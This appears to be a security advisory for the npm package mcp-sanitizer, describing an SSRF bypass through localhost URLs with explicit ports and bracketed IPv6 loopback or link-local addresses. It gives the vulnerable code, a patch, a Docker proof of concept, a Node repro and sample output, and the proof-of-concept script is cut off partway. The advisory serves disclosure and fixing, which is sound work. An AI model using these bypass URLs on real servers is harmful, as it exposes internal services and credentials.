---
id: "GHSA-4mfg-r38w-w8fg"
kind: "vulnerability"
aliases: ["GHSA-4mfg-r38w-w8fg"]
title: "mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6"
severity: "high"
cvss: 8.2
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "mcp-sanitizer", "fixed": ["1.4.0"], "affected": "< 1.4.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cwe-918", "mcp", "node.js", "npm", "package", "self-hosted"]
not_affected_if: ["no-outbound-url-fetch", "not-using-mcp-sanitizer"]
published_at: "2026-10-28T19:51:39+00:00"
first_seen_at: "2026-10-28T19:56:30+00:00"
updated_at: "2026-10-28T19:56:37+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-4mfg-r38w-w8fg", "first_seen_at": "2026-10-28T19:56:30+00:00"}]
---

# mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6

mcp-sanitizer before 1.4.0 fails to block localhost URLs that include an explicit port, and bracketed IPv6 loopback or link-local addresses such as [::1] and [fe80::1]. An attacker who controls a URL passed to a web_fetch or web_scraper tool can make the server fetch internal services and read their responses.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:mcp-sanitizer affected < 1.4.0 fixed 1.4.0

## How to check

- Run `npm ls mcp-sanitizer` in the project to find the installed version; anything below `1.4.0` is affected.
- Search your code for `createMCPToolMiddleware` or `sanitize(` with `type: 'url'` to see whether the sanitized URL is passed to an HTTP client.

## Fix

- Upgrade `mcp-sanitizer` to `1.4.0` or later.
- Until the upgrade, do not rely on the sanitizer alone to block internal URLs; restrict outbound requests from the server to an allowlist of hosts.

## Timeline

- 2026-10-28T19:56:30+00:00 ghsa https://github.com/advisories/GHSA-4mfg-r38w-w8fg

## From the sources

## URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6

### Summary

`mcp-sanitizer` v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a `localhost` URL includes an explicit port (e.g., `http://localhost:8080/`) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., `http://[::1]:8080/`, `http://[fe80::1]:8080/`). Because the library is explicitly designed to gate MCP tool parameters such as `web_fetch` and `web_scraper` before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.

### Details

The vulnerability exists in `src/utils/validation-utils.js` inside the `validateURLLocation()` function that is called by `_secureSanitizeURL()` in `src/sanitizer/mcp-sanitizer.js:698`.

**Bug 1 — Port-guarded localhost check (line 274–276):**

```js
// src/utils/validation-utils.js:274-276
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
  throw new Error('URL points to localhost without explicit port');
}
```

The `&& !parsedUrl.port` guard means that any localhost URL that includes a port number is *not* thrown. `http://localhost:8080/` passes the check entirely, returning `blocked: false` with the original URL preserved.

**Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):**

```js
// src/utils/validation-utils.js:293-295
if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
  throw new Error(`URL points to link-local address: ${hostname}`);
}
```

The Node.js `URL` API returns `parsedUrl.hostname` for IPv6 addresses *with* surrounding brackets: `[::1]`, `[fe80::1]`. The string comparison `hostname === '::1'` (line 274) and `hostname.startsWith('fe80:')` (line 293) therefore never match, because the actual string starts with `[`.

**Data flow through the middleware:**

1. `src/middleware/express.js:499` — tool name derived from `req.params.toolName || req.body?.tool_name`.
2. `src/middleware/express.js:548-554` — `web_scraper`/`web_fetch` `params.url` forwarded to `sanitizer.sanitize(url, { type: 'url' })`.
3. `src/sanitizer/mcp-sanitizer.js:527-528` — context type `url` routes to `_secureSanitizeURL()`.
4. `src/sanitizer/mcp-sanitizer.js:698-700` — `validateURLLocation(parsedUrl)` called; on success, `parsedUrl.toString()` returned to caller as the sanitized, trusted URL.

Both bugs are in the default code path; no special configuration is required to trigger them.

**Suggested patch:**

```diff
--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@ const { URL } = require('url');
+const net = require('net');
@@ 
-  const hostname = parsedUrl.hostname.toLowerCase();
+  const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
@@ 
-  if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
-    throw new Error('URL points to localhost without explicit port');
+  if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {
+    throw new Error('URL points to localhost or loopback');
   }
@@ 
-  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
+  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||
+      hostname.startsWith('fc') || hostname.startsWith('fd')) {
     throw new Error(`URL points to link-local address: ${hostname}`);
   }
+
+  if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {
+    throw new Error(`URL points to restricted IPv6 address: ${hostname}`);
+  }
```

### PoC

**Prerequisites:** Docker installed; no other dependencies required.

**1. Build the Docker image:**

```bash
docker build \
  -f vuln-001/Dockerfile \
  -t vuln-001-mcp-sanitizer \
  reports/npmAI_754_starman69__mcp-sanitizer
```

**2. Run the PoC:**

```bash
docker run --rm vuln-001-mcp-sanitizer
```

The `poc.py` script inside the image:
- Starts a mock internal HTTP service on `127.0.0.1:8080` serving the string `INTERNAL_SECRET_DATA_9f3a2b1c`.
- Calls `sanitizer.sanitize(url, { type: 'url' })` via Node.js for five URLs (two expected-blocked, three bypass candidates).
- Performs an actual `GET http://localhost:8080/` using the sanitizer-approved URL and confirms the secret is returned.

**Expected output (abbreviated):**

```
[BYPASS_CONFIRMED] http://localhost:8080/  blocked=False  sanitized=http://localhost:8080/
[BYPASS_CONFIRMED] http://[::1]:8080/     blocked=False  sanitized=http://[::1]:8080/
[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False  sanitized=http://[fe80::1]:8080/
[SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/'
[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c
RESULT: PASS - SSRF bypass fully demonstrated end-to-end
```

Baseline controls confirm the library *does* block `http://localhost/` and `http://127.0.0.1/` (`blocked: true`), proving the bypasses are not a general failure but a precise gap in the validation logic.

**Minimal inline repro (no Docker):**

```bash
# Inside the mcp-sanitizer repository root (npm ci first)
node - <<'NODE'
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
for (const url of [
  'http://localhost:8080/',
  'http://[::1]:8080/',
  'http://[fe80::1]:8080/'
]) {
  const r = sanitizer.sanitize(url, { type: 'url' });
  console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized);
}
NODE
```

### Impact

This is a **Server-Side Request Forgery (SSRF)** vulnerability. Any application that:

1. Uses `mcp-sanitizer`'s `sanitize()` / `createMCPToolMiddleware()` as the security boundary for outbound URLs, **and**
2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for `web_fetch`/`web_scraper` MCP tools),

is exploitable by any party that can supply the `url` parameter — typically an unauthenticated network attacker in an MCP server deployment.

**Consequences:**
- **Confidentiality (High):** The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., `http://169.254.169.254/`), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration.
- **Integrity (Low):** If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP.
- **Availability:** Not directly impacted.

The vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
FROM node:18-alpine

# Install Python3 for the PoC script
RUN apk add --no-cache python3

WORKDIR /app

# Copy package files first for better layer caching
COPY repo/package.json repo/package-lock.json ./

# Install Node.js dependencies (clean install, no dev deps)
RUN npm ci --ignore-scripts --omit=dev

# Copy library source
COPY repo/src ./src/

# Copy PoC script
COPY vuln-001/poc.py ./poc.py

# Run the PoC by default
CMD ["python3", "poc.py"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation
Library: mcp-sanitizer v1.3.3 (commit caff5d6)
CWE-918: Server-Side Request Forgery
CVSS 3.1: 8.2 (High)

Root cause:
  src/utils/validation-utils.js:274:
    if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port)
  - The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block.
  - Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6,
    so the string equality check against "::1" and startsWith("fe80:") both silently fail.

Attack scenario:
  1. Attacker controls the "url" parameter of a web_fetch / web_scraper MCP tool call.
 

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
